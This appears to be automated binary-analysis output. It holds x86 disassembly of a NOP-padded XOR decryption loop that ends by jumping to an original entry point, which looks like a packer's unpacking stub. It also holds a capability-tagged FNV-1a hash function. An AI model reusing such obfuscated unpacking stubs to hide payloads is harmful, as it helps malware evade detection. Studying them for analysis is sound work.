mov ebx, dword [eax]
nop
mov ecx, dword [eax + 4]
nop
nop
nop
nop
nop
nop
mov edx, dword [eax + 8]
nop
nop
nop
nop
xor dword [ebx], edx
nop
nop
add ebx, 4
nop
nop
nop
nop
cmp ebx, ecx
nop
jl 0x430030
nop
nop
nop
nop
nop
add eax, 0xc
nop
nop
nop
nop
nop
cmp dword [eax], 0
nop
jne 0x43001e
nop
nop
nop
nop
nop
nop
nop
nop
popal
jmp loc.00401219
Function at 0x419db6
Capabilities:
Encode data using xor
Hash data using fnv

Disassembly:
push ebp
mov ebp, esp
mov ecx, dword [ebp + 8]
push esi
push edi
cmp dword [ecx + 0x14], 0x10
mov edi, dword [ecx + 0x10]
jb 0x419dc9
mov ecx, dword [ecx]
xor esi, esi
mov edx, 0x811c9dc5
test edi, edi
je 0x419de5
movzx eax, byte [esi + ecx]
xor eax, edx
imul edx, eax, 0x1000193
inc esi
cmp esi, edi
jb 0x419dd4
pop edi
mov eax, edx
pop esi
pop ebp
ret 4